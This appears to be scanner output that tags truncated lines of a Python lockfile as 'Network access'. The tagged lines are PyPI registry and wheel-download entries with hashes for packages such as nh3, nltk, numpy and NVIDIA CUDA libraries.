{ url = "https://files.pythonhosted.org/packages/eb/a2/f6685248b49f7548fc9a8c335ab3a52f68610b72e8a61576447151e4e2e6/nh3-0.3.5-cp314-cp314t-win_amd64.whl", hash = "sha256:c88605d8d468f7fc1b31e06129bc91d6c96f6c621776c9b504a0da9beac9df5f", siz - Network accessline 1521
{ url = "https://files.pythonhosted.org/packages/ca/b6/d8c9018635d4acfefde6b68470daa510eed715a350cbaa2f928ba0609f81/nh3-0.3.5-cp314-cp314t-win_arm64.whl", hash = "sha256:72c5bdedec27fa33de6a5326346ea8aa3fe54f6ac294d54c4b204fb66a9f1e79", siz - Network accessline 1522
{ url = "https://files.pythonhosted.org/packages/85/30/d162e99746a2fb1d98bb0ef23af3e201b156cf09f7de867c7390c8fe1c06/nh3-0.3.5-cp38-abi3-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:3bb854485c9b33e5bb143 - Network accessline 1523
{ url = "https://files.pythonhosted.org/packages/25/8c/072120d506978ab053e1732d0efa7c86cb478fee0ee098fda0ac0d31cb34/nh3-0.3.5-cp38-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50d401ab2d8e86d59e2126e3ab2a2f45840c40 - Network accessline 1524
{ url = "https://files.pythonhosted.org/packages/52/86/d4e06e28c5ad1c4b065f89737d02631bd49f1660b6ebcf17a87ffcd201da/nh3-0.3.5-cp38-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:acfd354e61accbe4c74f8017c6e397a776916dfe - Network accessline 1525
{ url = "https://files.pythonhosted.org/packages/0a/62/50659255213f241ec5797ae7427464c969397373e83b3659372b341ae869/nh3-0.3.5-cp38-abi3-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:52d877980d7ca01dc3baf3936bf844828bc6f33296 - Network accessline 1526
{ url = "https://files.pythonhosted.org/packages/00/7a/a12ae77593b2fcf3be25df7bc1c01967d0de448bdb4b6c7ec80fe4f5a74f/nh3-0.3.5-cp38-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:207c01801d3e9bb8ec08f08689346bdd30ce15 - Network accessline 1527
{ url = "https://files.pythonhosted.org/packages/2d/71/5647dc04c0233192a3956fc91708822b21403a06508cacf78083c68e7bf0/nh3-0.3.5-cp38-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea232933394d1d58bf7c4bb348dc4660eae6604e1a - Network accessline 1528
{ url = "https://files.pythonhosted.org/packages/1b/0e/bf298920729f216adcb002acf7ea01b90842603d2e4e2ce9b900d9ee8fab/nh3-0.3.5-cp38-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fe3a787dc76b50de6bee54ef242f26c41dfe4765 - Network accessline 1529
{ url = "https://files.pythonhosted.org/packages/85/01/26761e1dc2b848e65a62c19e5d39ad446283287cd4afddc89f364ab86bc9/nh3-0.3.5-cp38-abi3-manylinux_2_31_riscv64.whl", hash = "sha256:488928988caad25ba14b1eb5bc74e25e21f3b5e40341d956f3ce4a8bc194 - Network accessline 1530
{ url = "https://files.pythonhosted.org/packages/33/53/0766113e679540ac1edc1b82b1295aecd321eeb75d6fead70109a838b6ee/nh3-0.3.5-cp38-abi3-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2c069570b06aa848457713ad7af4a9905691291548c4466a - Network accessline 1531
{ url = "https://files.pythonhosted.org/packages/58/36/734d353dfaf292fed574b8b3092f0ef79dc6404f3879f7faaa61a4701fad/nh3-0.3.5-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:eeedc90ed8c42c327e8e10e621ccfa314fc6cce35d5929f4297ff1cdb8966 - Network accessline 1532
{ url = "https://files.pythonhosted.org/packages/6b/aa/d9c59c1b49669fcb7bababa55df82385f029ad5c2651f583c3a1141cfdd1/nh3-0.3.5-cp38-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:de8e8621853b6470fe928c684ee0d3f39ea8086cebafe4c416486488dea7b6 - Network accessline 1533
{ url = "https://files.pythonhosted.org/packages/90/b0/cdd210bfb8d9d43fb02fc3c868336b9955934d8e15e66eb1d15a147b8af0/nh3-0.3.5-cp38-abi3-musllinux_1_2_i686.whl", hash = "sha256:6ea58cc44d274c643b83547ca9654a0b1a817609b160601356f76a2b744c49ad - Network accessline 1534
{ url = "https://files.pythonhosted.org/packages/ce/cb/7a39e72e668c8445bdd95e494b3e21cfdddc68329be8ea3522c8befb46c4/nh3-0.3.5-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:e49c9b564e6bcb03ecd2f057213df9a0de15a95812ac9db9600b590db23d3a - Network accessline 1535
{ url = "https://files.pythonhosted.org/packages/af/4c/fc2f9ed208a3801a319f59b5fea03cdc20cf3bd8af14be930d3a8de01224/nh3-0.3.5-cp38-abi3-win32.whl", hash = "sha256:559e4c73b689e9a7aa97ac9760b1bc488038d7c1a575aa4ab5a0e19ee9630c0f", size = 611 - Network accessline 1536
{ url = "https://files.pythonhosted.org/packages/db/1a/e4c9b5e2ae13e6092c9ec16d8ca30646cb01fcdea245f36c5b08fd21fbd5/nh3-0.3.5-cp38-abi3-win_amd64.whl", hash = "sha256:45e6a65dc88a300a2e3502cb9c8e6d1d6b831d6fba7470643333609c6aab1f30", size = - Network accessline 1537
{ url = "https://files.pythonhosted.org/packages/80/7c/19cd0671d1ba2762fb388fc149697d20d0568ccfeef833b11280a619e526/nh3-0.3.5-cp38-abi3-win_arm64.whl", hash = "sha256:8f85285700a18e9f3fc5bff41fe573fa84f81542ef13b48a89f9fecca0474d3b", size = - Network accessline 1541
name = "nltk" version = "3.10.3" source = { registry = "https://pypi.org/simple" } - Network accessline 1542
version = "3.10.3" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1543
source = { registry = "https://pypi.org/simple" } - Network accessline 1549
{ name = "tqdm" }, ] sdist = { url = "https://files.pythonhosted.org/packages/e0/e6/fe51d2bb1a3b446f59c5c8165999a9fee208bc346af90a7cbf7657bc0d75/nltk-3.10.3.tar.gz", hash = "sha256:bb9327a461c3811c2fa4900e03840401f2126adfb30c0072827c433bd24 - Network accessline 1550
] sdist = { url = "https://files.pythonhosted.org/packages/e0/e6/fe51d2bb1a3b446f59c5c8165999a9fee208bc346af90a7cbf7657bc0d75/nltk-3.10.3.tar.gz", hash = "sha256:bb9327a461c3811c2fa4900e03840401f2126adfb30c0072827c433bd2444ea4", size = 5137 - Network accessline 1551
sdist = { url = "https://files.pythonhosted.org/packages/e0/e6/fe51d2bb1a3b446f59c5c8165999a9fee208bc346af90a7cbf7657bc0d75/nltk-3.10.3.tar.gz", hash = "sha256:bb9327a461c3811c2fa4900e03840401f2126adfb30c0072827c433bd2444ea4", size = 513715 - Network accessline 1552
wheels = [ { url = "https://files.pythonhosted.org/packages/b6/6d/ebd2af4640b12168fdf0cb74b6118df2f32a2f62ec7e0c06fbfd80706639/nltk-3.10.3-py3-none-any.whl", hash = "sha256:ff9598a8e20518ee0d557745890cc4435b9578489e2dcbc69c4f81fa060caf7 - Network accessline 1553
{ url = "https://files.pythonhosted.org/packages/b6/6d/ebd2af4640b12168fdf0cb74b6118df2f32a2f62ec7e0c06fbfd80706639/nltk-3.10.3-py3-none-any.whl", hash = "sha256:ff9598a8e20518ee0d557745890cc4435b9578489e2dcbc69c4f81fa060caf7c", size = 1798 - Network accessline 1557
name = "numpy" version = "2.4.4" source = { registry = "https://pypi.org/simple" } - Network accessline 1558
version = "2.4.4" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/d7/9f/b8cef5bffa569759033adda9481211426f12f53299629b410340795c2514/numpy-2.4.4.tar.gz", hash = "sha256:2d390634c518 - Network accessline 1559
source = { registry = "https://pypi.org/simple" } - Network accessline 1560
sdist = { url = "https://files.pythonhosted.org/packages/d7/9f/b8cef5bffa569759033adda9481211426f12f53299629b410340795c2514/numpy-2.4.4.tar.gz", hash = "sha256:2d390634c5182175533585cc89f3608a4682ccb173cc9bb940b2881c8d6f8fa0", size = 207315 - Network accessline 1561
wheels = [ { url = "https://files.pythonhosted.org/packages/28/05/32396bec30fb2263770ee910142f49c1476d08e8ad41abf8403806b520ce/numpy-2.4.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:15716cfef24d3a9762e3acdf87e27f58dc823d1348f7 - Network accessline 1562
{ url = "https://files.pythonhosted.org/packages/28/05/32396bec30fb2263770ee910142f49c1476d08e8ad41abf8403806b520ce/numpy-2.4.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:15716cfef24d3a9762e3acdf87e27f58dc823d1348f765bbea6bef8c639 - Network accessline 1563
{ url = "https://files.pythonhosted.org/packages/c5/f3/a983d28637bfcd763a9c7aafdb6d5c0ebf3d487d1e1459ffdb57e2f01117/numpy-2.4.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:23cbfd4c17357c81021f21540da84ee282b9c8fba38a03b7b9d09ba6b9514 - Network accessline 1564
{ url = "https://files.pythonhosted.org/packages/9b/fd/e5ecca1e78c05106d98028114f5c00d3eddb41207686b2b7de3e477b0e22/numpy-2.4.4-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:8b3b60bb7cba2c8c81837661c488637eee696f59a877788a396d33150c35d - Network accessline 1565
{ url = "https://files.pythonhosted.org/packages/de/2f/702a4594413c1a8632092beae8aba00f1d67947389369b3777aed783fdca/numpy-2.4.4-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:e4a010c27ff6f210ff4c6ef34394cd61470d01014439b192ec22552ee867 - Network accessline 1566
{ url = "https://files.pythonhosted.org/packages/7f/37/eed308a8f56cba4d1fdf467a4fc67ef4ff4bf1c888f5fc980481890104b1/numpy-2.4.4-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f9e75681b59ddaa5e659898085ae0eaea - Network accessline 1567
{ url = "https://files.pythonhosted.org/packages/0a/0d/0e3ecece05b7a7e87ab9fb587855548da437a061326fff64a223b6dcb78a/numpy-2.4.4-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:81f4a14bee47aec54f883e0cad2d7398664 - Network accessline 1568
{ url = "https://files.pythonhosted.org/packages/34/49/f2312c154b82a286758ee2f1743336d50651f8b5195db18cdb63675ff649/numpy-2.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:62d6b0f03b694173f9fcb1fb317f7222fd0b0b103e784c6549f5e53a2 - Network accessline 1569
{ url = "https://files.pythonhosted.org/packages/7b/e9/736d17bd77f1b0ec4f9901aaec129c00d59f5d84d5e79bba540ef12c2330/numpy-2.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fbc356aae7adf9e6336d336b9c8111d390a05df88f1805573ebb0807bd - Network accessline 1570
{ url = "https://files.pythonhosted.org/packages/63/f6/d417977c5f519b17c8a5c3bc9e8304b0908b0e21136fe43bf628a1343914/numpy-2.4.4-cp312-cp312-win32.whl", hash = "sha256:0d35aea54ad1d420c812bfa0385c71cd7cc5bcf7c65fed95fc2cd02fe8c79827", size = - Network accessline 1571
{ url = "https://files.pythonhosted.org/packages/2d/5b/e1deebf88ff431b01b7406ca3583ab2bbb90972bbe1c568732e49c844f7e/numpy-2.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:b5f0362dc928a6ecd9db58868fca5e48485205e3855957bdedea308f8672ea4a", si - Network accessline 1572
{ url = "https://files.pythonhosted.org/packages/58/89/e4e856ac82a68c3ed64486a544977d0e7bdd18b8da75b78a577ca31c4395/numpy-2.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:846300f379b5b12cc769334464656bc882e0735d27d9726568bc932fdc49d5ec", si - Network accessline 1573
{ url = "https://files.pythonhosted.org/packages/14/1d/d0a583ce4fefcc3308806a749a536c201ed6b5ad6e1322e227ee4848979d/numpy-2.4.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:08f2e31ed5e6f04b118e49821397f12767934cfdd12a1ce86a058f91e00 - Network accessline 1574
{ url = "https://files.pythonhosted.org/packages/c1/62/2b7a48fbb745d344742c0277f01286dead15f3f68e4f359fbfcf7b48f70f/numpy-2.4.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e823b8b6edc81e747526f70f71a9c0a07ac4e7ad13020aa736bb7c9d67196 - Network accessline 1575
{ url = "https://files.pythonhosted.org/packages/e5/87/499737bfba066b4a3bebff24a8f1c5b2dee410b209bc6668c9be692580f0/numpy-2.4.4-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:4a19d9dba1a76618dd86b164d608566f393f8ec6ac7c44f0cc879011c45e6 - Network accessline 1576
{ url = "https://files.pythonhosted.org/packages/cd/da/464d551604320d1491bc345efed99b4b7034143a85787aab78d5691d5a0e/numpy-2.4.4-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:d2a8490669bfe99a233298348acc2d824d496dee0e66e31b66a6022c2ad7 - Network accessline 1577
{ url = "https://files.pythonhosted.org/packages/7d/90/8d23e3b0dafd024bf31bdec225b3bb5c2dbfa6912f8a53b8659f21216cbf/numpy-2.4.4-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:45dbed2ab436a9e826e302fcdcbe9133f - Network accessline 1578
{ url = "https://files.pythonhosted.org/packages/d1/73/a9d864e42a01896bb5974475438f16086be9ba1f0d19d0bb7a07427c4a8b/numpy-2.4.4-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c901b15172510173f5cb310eae652908340 - Network accessline 1579
{ url = "https://files.pythonhosted.org/packages/34/fb/14570d65c3bde4e202a031210475ae9cde9b7686a2e7dc97ee67d2833b35/numpy-2.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:99d838547ace2c4aace6c4f76e879ddfe02bb58a80c1549928477862b - Network accessline 1580
{ url = "https://files.pythonhosted.org/packages/8a/77/2ba9d87081fd41f6d640c83f26fb7351e536b7ce6dd9061b6af5904e8e46/numpy-2.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:0aec54fd785890ecca25a6003fd9a5aed47ad607bbac5cd64f836ad866 - Network accessline 1581
{ url = "https://files.pythonhosted.org/packages/a2/23/52666c9a41708b0853fa3b1a12c90da38c507a3074883823126d4e9d5b30/numpy-2.4.4-cp313-cp313-win32.whl", hash = "sha256:07077278157d02f65c43b1b26a3886bce886f95d20aabd11f87932750dfb14ed", size = - Network accessline 1582
{ url = "https://files.pythonhosted.org/packages/57/fb/48649b4971cde70d817cf97a2a2fdc0b4d8308569f1dd2f2611959d2e0cf/numpy-2.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:5c70f1cc1c4efbe316a572e2d8b9b9cc44e89b95f79ca3331553fbb63716e2bf", si - Network accessline 1583
{ url = "https://files.pythonhosted.org/packages/ba/d8/11490cddd564eb4de97b4579ef6bfe6a736cc07e94c1598590ae25415e01/numpy-2.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:ef4059d6e5152fa1a39f888e344c73fdc926e1b2dd58c771d67b0acfbf2aa67d", si - Network accessline 1584
{ url = "https://files.pythonhosted.org/packages/99/5d/dab4339177a905aad3e2221c915b35202f1ec30d750dd2e5e9d9a72b804b/numpy-2.4.4-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:4bbc7f303d125971f60ec0aaad5e12c62d0d2c925f0ab1273debd0e4ba37 - Network accessline 1585
{ url = "https://files.pythonhosted.org/packages/eb/e4/0564a65e7d3d97562ed6f9b0fd0fb0a6f559ee444092f105938b50043876/numpy-2.4.4-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:4d6d57903571f86180eb98f8f0c839fa9ebbfb031356d87f1361be91e433 - Network accessline 1586
{ url = "https://files.pythonhosted.org/packages/29/8d/35a3a6ce5ad371afa58b4700f1c820f8f279948cca32524e0a695b0ded83/numpy-2.4.4-cp313-cp313t-macosx_14_0_x86_64.whl", hash = "sha256:4636de7fd195197b7535f231b5de9e4b36d2c440b6e566d2e4e4746e6af - Network accessline 1587
{ url = "https://files.pythonhosted.org/packages/f4/da/477731acbd5a58a946c736edfdabb2ac5b34c3d08d1ba1a7b437fa0884df/numpy-2.4.4-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ad2e2ef14e0b04e544ea2fa0a36463f8 - Network accessline 1588
{ url = "https://files.pythonhosted.org/packages/e6/db/338535d9b152beabeb511579598418ba0212ce77cf9718edd70262cc4370/numpy-2.4.4-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a285b3b96f951841799528cd1f4f01cd7 - Network accessline 1589
{ url = "https://files.pythonhosted.org/packages/e2/a9/ad248e8f58beb7a0219b413c9c7d8151c5d285f7f946c3e26695bdbbe2df/numpy-2.4.4-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:f8474c4241bc18b750be2abea9d7a9ec84f46ef861dbacf86a4f6e04 - Network accessline 1590
{ url = "https://files.pythonhosted.org/packages/b5/1a/3b88ccd3694681356f70da841630e4725a7264d6a885c8d442a697e1146b/numpy-2.4.4-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:4e874c976154687c1f71715b034739b45c7711bec81db01914770373d - Network accessline 1591
{ url = "https://files.pythonhosted.org/packages/c2/c9/fcfd5d0639222c6eac7f304829b04892ef51c96a75d479214d77e3ce6e33/numpy-2.4.4-cp313-cp313t-win32.whl", hash = "sha256:9c585a1790d5436a5374bac930dad6ed244c046ed91b2b2a3634eb2971d21008", size - Network accessline 1592
{ url = "https://files.pythonhosted.org/packages/d5/e3/3938a61d1c538aaec8ed6fd6323f57b0c2d2d2219512434c5c878db76553/numpy-2.4.4-cp313-cp313t-win_amd64.whl", hash = "sha256:93e15038125dc1e5345d9b5b68aa7f996ec33b98118d18c6ca0d0b7d6198b7e8", s - Network accessline 1593
{ url = "https://files.pythonhosted.org/packages/97/6a/7e345032cc60501721ef94e0e30b60f6b0bd601f9174ebd36389a2b86d40/numpy-2.4.4-cp313-cp313t-win_arm64.whl", hash = "sha256:0dfd3f9d3adbe2920b68b5cd3d51444e13a10792ec7154cd0a2f6e74d4ab3233", s - Network accessline 1594
{ url = "https://files.pythonhosted.org/packages/6e/06/c54062f85f673dd5c04cbe2f14c3acb8c8b95e3384869bb8cc9bff8cb9df/numpy-2.4.4-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:f169b9a863d34f5d11b8698ead99febeaa17a13ca044961aa8e2662a6c7 - Network accessline 1595
{ url = "https://files.pythonhosted.org/packages/4c/39/8a320264a84404c74cc7e79715de85d6130fa07a0898f67fb5cd5bd79908/numpy-2.4.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:2483e4584a1cb3092da4470b38866634bafb223cbcd551ee047633fd25845 - Network accessline 1596
{ url = "https://files.pythonhosted.org/packages/91/fb/287076b2614e1d1044235f50f03748f31fa287e3dbe6abeb35cdfa351eca/numpy-2.4.4-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:2d19e6e2095506d1736b7d80595e0f252d76b89f5e715c35e06e937679ea7 - Network accessline 1597
{ url = "https://files.pythonhosted.org/packages/63/eb/fcc338595309910de6ecabfcef2419a9ce24399680bfb149421fa2df1280/numpy-2.4.4-cp314-cp314-macosx_14_0_x86_64.whl", hash = "sha256:6a246d5914aa1c820c9443ddcee9c02bec3e203b0c080349533fae17727d - Network accessline 1598
{ url = "https://files.pythonhosted.org/packages/44/5d/e7e9044032a716cdfaa3fba27a8e874bf1c5f1912a1ddd4ed071bf8a14a6/numpy-2.4.4-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:989824e9faf85f96ec9c7761cd8d29c53 - Network accessline 1599
{ url = "https://files.pythonhosted.org/packages/98/7c/21252050676612625449b4807d6b695b9ce8a7c9e1c197ee6216c8a65c7c/numpy-2.4.4-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:27a8d92cd10f1382a67d7cf4db7ce18341b - Network accessline 1600
{ url = "https://files.pythonhosted.org/packages/b1/29/56d2bbef9465db24ef25393383d761a1af4f446a1df9b8cded4fe3a5a5d7/numpy-2.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e44319a2953c738205bf3354537979eaa3998ed673395b964c1176083 - Network accessline 1601
{ url = "https://files.pythonhosted.org/packages/e3/2b/a35a6d7589d21f44cea7d0a98de5ddcbb3d421b2622a5c96b1edf18707c3/numpy-2.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:e892aff75639bbef0d2a2cfd55535510df26ff92f63c92cd84ef8d4ba5 - Network accessline 1602
{ url = "https://files.pythonhosted.org/packages/64/c9/d52ec581f2390e0f5f85cbfd80fb83d965fc15e9f0e1aec2195faa142cde/numpy-2.4.4-cp314-cp314-win32.whl", hash = "sha256:1378871da56ca8943c2ba674530924bb8ca40cd228358a3b5f302ad60cf875fc", size = - Network accessline 1603
{ url = "https://files.pythonhosted.org/packages/fa/22/4cc31a62a6c7b74a8730e31a4274c5dc80e005751e277a2ce38e675e4923/numpy-2.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:715d1c092715954784bc79e1174fc2a90093dc4dc84ea15eb14dad8abdcdeb74", si - Network accessline 1604
{ url = "https://files.pythonhosted.org/packages/70/2e/14cda6f4d8e396c612d1bf97f22958e92148801d7e4f110cabebdc0eef4b/numpy-2.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:2c194dd721e54ecad9ad387c1d35e63dce5c4450c6dc7dd5611283dda239aabb", si - Network accessline 1605
{ url = "https://files.pythonhosted.org/packages/b1/e8/8fed8c8d848d7ecea092dc3469643f9d10bc3a134a815a3b033da1d2039b/numpy-2.4.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:2aa0613a5177c264ff5921051a5719d20095ea586ca88cc802c5c218d1c6 - Network accessline 1606
{ url = "https://files.pythonhosted.org/packages/05/1a/d8007a5138c179c2bf33ef44503e83d70434d2642877ee8fbb230e7c0548/numpy-2.4.4-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:42c16925aa5a02362f986765f9ebabf20de75cdefdca827d14315c568dca - Network accessline 1607
{ url = "https://files.pythonhosted.org/packages/99/64/ffb99ac6ae93faf117bcbd5c7ba48a7f45364a33e8e458545d3633615dda/numpy-2.4.4-cp314-cp314t-macosx_14_0_x86_64.whl", hash = "sha256:874f200b2a981c647340f841730fc3a2b54c9d940566a3c4149099591e2 - Network accessline 1608
{ url = "https://files.pythonhosted.org/packages/6e/6e/795cc078b78a384052e73b2f6281ff7a700e9bf53bcce2ee579d4f6dd879/numpy-2.4.4-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c9b39d38a9bd2ae1becd7eac1303d031 - Network accessline 1609
{ url = "https://files.pythonhosted.org/packages/5f/86/2acbda8cc2af5f3d7bfc791192863b9e3e19674da7b5e533fded124d1299/numpy-2.4.4-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b268594bccac7d7cf5844c7732e3f20c50 - Network accessline 1610
{ url = "https://files.pythonhosted.org/packages/bc/59/cafd83018f4aa55e0ac6fa92aa066c0a1877b77a615ceff1711c260ffae8/numpy-2.4.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:ac6b31e35612a26483e20750126d30d0941f949426974cace8e6b5c5 - Network accessline 1611
{ url = "https://files.pythonhosted.org/packages/f0/85/a42548db84e65ece46ab2caea3d3f78b416a47af387fcbb47ec28e660dc2/numpy-2.4.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:8e3ed142f2728df44263aaf5fb1f5b0b99f4070c553a0d7f033be6533 - Network accessline 1612
{ url = "https://files.pythonhosted.org/packages/ed/ad/483d9e262f4b831000062e5d8a45e342166ec8aaa1195264982bca267e62/numpy-2.4.4-cp314-cp314t-win32.whl", hash = "sha256:dddbbd259598d7240b18c9d87c56a9d2fb3b02fe266f49a7c101532e78c1d871", size - Network accessline 1613
{ url = "https://files.pythonhosted.org/packages/c7/03/2fc4e14c7bd4ff2964b74ba90ecb8552540b6315f201df70f137faa5c589/numpy-2.4.4-cp314-cp314t-win_amd64.whl", hash = "sha256:a7164afb23be6e37ad90b2f10426149fd75aee07ca55653d2aa41e66c4ef697e", s - Network accessline 1614
{ url = "https://files.pythonhosted.org/packages/58/78/548fb8e07b1a341746bfbecb32f2c268470f45fa028aacdbd10d9bc73aab/numpy-2.4.4-cp314-cp314t-win_arm64.whl", hash = "sha256:ba203255017337d39f89bdd58417f03c4426f12beed0440cfd933cb15f8669c7", s - Network accessline 1618
name = "nvidia-cublas" version = "13.1.1.3" source = { registry = "https://pypi.org/simple" } - Network accessline 1619
version = "13.1.1.3" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1620
source = { registry = "https://pypi.org/simple" } - Network accessline 1623
] wheels = [ { url = "https://files.pythonhosted.org/packages/a7/a1/0bd24ee8c8d03adac032fd2909426a00c88f8c57961b1277ded97f91119f/nvidia_cublas-13.1.1.3-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:b7a210458267ac818974c53038fbec2 - Network accessline 1624
wheels = [ { url = "https://files.pythonhosted.org/packages/a7/a1/0bd24ee8c8d03adac032fd2909426a00c88f8c57961b1277ded97f91119f/nvidia_cublas-13.1.1.3-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:b7a210458267ac818974c53038fbec2e9 - Network accessline 1625
{ url = "https://files.pythonhosted.org/packages/a7/a1/0bd24ee8c8d03adac032fd2909426a00c88f8c57961b1277ded97f91119f/nvidia_cublas-13.1.1.3-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:b7a210458267ac818974c53038fbec2e969d5c99f305ab15 - Network accessline 1626
{ url = "https://files.pythonhosted.org/packages/3b/cd/154ca20c38269e05eff77c1464e6c1da89f50a6390b565e9d82e06bc11e1/nvidia_cublas-13.1.1.3-py3-none-manylinux_2_27_x86_64.whl", hash = "sha256:37936a16db8fe4ac1f065c2139360608a543a09275cb1a1af - Network accessline 1630
name = "nvidia-cuda-cupti" version = "13.0.85" source = { registry = "https://pypi.org/simple" } - Network accessline 1631
version = "13.0.85" source = { registry = "https://pypi.org/simple" } wheels = [ - Network accessline 1632
source = { registry = "https://pypi.org/simple" } - Network accessline 1633
wheels = [ { url = "https://files.pythonhosted.org/packages/2a/2a/80353b103fc20ce05ef51e928daed4b6015db4aaa9162ed0997090fe2250/nvidia_cuda_cupti-13.0.85-py3-none-manylinux_2_25_aarch64.whl", hash = "sha256:796bd679890ee55fb14a94629b698b - Network accessline 1634
{ url = "https://files.pythonhosted.org/packages/2a/2a/80353b103fc20ce05ef51e928daed4b6015db4aaa9162ed0997090fe2250/nvidia_cuda_cupti-13.0.85-py3-none-manylinux_2_25_aarch64.whl", hash = "sha256:796bd679890ee55fb14a94629b698b6db54bcfd833d39 - Network accessline 1635
{ url = "https://files.pythonhosted.org/packages/33/6d/737d164b4837a9bbd202f5ae3078975f0525a55730fe871d8ed4e3b952b0/nvidia_cuda_cupti-13.0.85-py3-none-manylinux_2_25_x86_64.whl", hash = "sha256:4eb01c08e859bf924d222250d2e8f8b8ff6d3db4721288 - Network accessline 1639
name = "nvidia-cuda-nvrtc" version = "13.0.88" source = { registry = "https://pypi.org/simple" } - Network accessline 1640
version = "13.0.88" source = { registry = "https://pypi.org/simple" } wheels = [ - Network accessline 1641
source = { registry = "https://pypi.org/simple" } - Network accessline 1642
wheels = [ { url = "https://files.pythonhosted.org/packages/c3/68/483a78f5e8f31b08fb1bb671559968c0ca3a065ac7acabfc7cee55214fd6/nvidia_cuda_nvrtc-13.0.88-py3-none-manylinux2010_x86_64.manylinux_2_12_x86_64.whl", hash = "sha256:ad9b6d2ead - Network accessline 1643
{ url = "https://files.pythonhosted.org/packages/c3/68/483a78f5e8f31b08fb1bb671559968c0ca3a065ac7acabfc7cee55214fd6/nvidia_cuda_nvrtc-13.0.88-py3-none-manylinux2010_x86_64.manylinux_2_12_x86_64.whl", hash = "sha256:ad9b6d2ead2435f11cbb68688 - Network accessline 1644
{ url = "https://files.pythonhosted.org/packages/b7/dc/6bb80850e0b7edd6588d560758f17e0550893a1feaf436807d64d2da040f/nvidia_cuda_nvrtc-13.0.88-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d27f20a0ca67a4bb34268a5 - Network accessline 1648
name = "nvidia-cuda-runtime" version = "13.0.96" source = { registry = "https://pypi.org/simple" } - Network accessline 1649
version = "13.0.96" source = { registry = "https://pypi.org/simple" } wheels = [ - Network accessline 1650
source = { registry = "https://pypi.org/simple" } - Network accessline 1651
wheels = [ { url = "https://files.pythonhosted.org/packages/87/4f/17d7b9b8e285199c58ce28e31b5c5bbaa4d8271af06a89b6405258245de2/nvidia_cuda_runtime-13.0.96-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ef9bcb - Network accessline 1652
{ url = "https://files.pythonhosted.org/packages/87/4f/17d7b9b8e285199c58ce28e31b5c5bbaa4d8271af06a89b6405258245de2/nvidia_cuda_runtime-13.0.96-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ef9bcbe90493a2b9d810e - Network accessline 1653
